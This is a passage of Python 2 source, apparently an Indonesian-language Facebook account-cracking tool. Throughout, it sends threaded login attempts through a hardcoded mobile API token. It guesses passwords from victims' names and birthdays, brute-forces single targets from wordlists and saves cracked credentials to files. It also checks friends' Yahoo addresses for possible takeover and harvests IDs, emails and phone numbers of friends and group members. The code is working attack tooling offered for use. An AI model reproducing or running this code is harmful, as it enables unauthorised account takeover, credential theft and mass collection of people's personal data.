\x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' print '\x1b[1;91m[!] Cobalah dengan cara lain.' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] Terget tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def scrak(): global back global berhasil global cekpoint global gagal global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('Berhasil.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('Cekpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: gagal.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Koneksi terganggu' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' def hasil(): print print 40 * '\x1b[1;97m\xe2\x95\x90' for b in berhasil: print b for c in cekpoint: print c print print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) keluar() def super(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Crack dari daftar Teman' print '\x1b[1;37;40m2. Crack dari member Grup' print '\x1b[1;31;40m0. Kembali' print pilih_super() def pilih_super(): peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Jangan kosong' pilih_super() else: if peak == '1': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_super() print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 40 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() def brute(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File tidak ditemukan...' print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Dari teman facebook' print '\x1b[1;37;40m2. Gunakan File' print '\x1b[1;31;40m0. Kembali' print yahoo_pilih() def yahoo_pilih(): go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Jangan kosong' yahoo_pilih() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' yahoo_pilih() def yahoofriends(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(teman.text) save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] File tidak ada' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def grab(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Ambil ID teman' print '\x1b[1;37;40m2. Ambil ID teman dari teman' print '\x1b[1;37;40m3. Ambil ID member GRUP' print '\x1b[1;37;40m4. Ambil Email teman' print '\x1b[1;37;40m5. Ambil Email teman dari teman' print '\x1b[1;37;40m6. Ambil No HP teman' print '\x1b[1;37;40m7. Ambil No HP teman dari teman' print '\x1b[1;31;40m0. Kembali' print grab_pilih() def grab_pilih(): cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Jangan kosong' grab_pilih() else: if cuih == '1': id_teman() else: if cuih == '2': idfrom_teman() else: if cuih == '3': id_member_grup() else: if cuih == '4': email() else: if cuih == '5': emailfrom_teman() else: if cuih == '6': nomor_hp() else: if cuih == '7': hpfrom_teman() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' grab_pilih() def id_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def idfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def id_member_grup(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def email(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def emailfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromteman.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def nomor_hp(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' 